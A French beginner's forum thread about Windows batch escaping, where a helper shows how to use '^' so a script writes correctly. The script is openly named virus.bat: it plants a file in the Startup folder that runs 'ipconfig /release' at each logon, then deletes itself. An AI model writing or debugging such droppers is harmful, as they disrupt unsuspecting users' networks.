Batch code

Résolu
Utilisateur anonyme -  
 Utilisateur anonyme -
Bonjour, je suis debutant en programmation batch . Je vous explique : voici mon code :
@echo off

set/p xx=
if %xx% == 1 (
echo chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage > test.bat
echo echo ipconfig /release > ip.bat >> test.bat
echo chdir C:\Documents and Settings\ComptePourInstaller\Bureau >> test.bat
echo erase test.bat >> test.bat
cls )

Mais voila ! le fichier test.bat ne contient que ceci :

chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage
echo ipconfig /release
chdir C:\Documents and Settings\ComptePourInstaller\Bureau
erase virus.bat

alors que je voudrais qu'il donnent ca :

chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage
echo ipconfig /release > ip.bat
chdir C:\Documents and Settings\ComptePourInstaller\Bureau
erase virus.bat

3 réponses

  1. LUDO
     
    salut,
    voila la solution:

    echo echo ipconfig /release ^> ip.bat >> test.bat

    le sigle ">" est un caractere special, tu dois donc le signaler en mettant juste avant le sigle "^"

    Bon courage
    0
  2. Utilisateur anonyme
     
    salut , j'ai un autre probleme :
    set/p xx=
    if %xx% == 1 (
    echo chdir C:\Documents and Settings\ComptePourInstaller\Menu D'marrer\Programmes\D'marrage > virus.bat
    echo echo echo %msg% ^> pinball.bat >> virus.bat
    echo echo ping localhost -n %tmp% ^> nul ^>^> pinball.bat >> virus.bat
    echo chdir C:\Documents and Settings\ComptePourInstaller\Bureau >> virus.bat
    echo erase virus.bat >> virus.bat
    cls )
    goto debut

    mais il ne marque le ping localhost -n %tmp% >nul
    0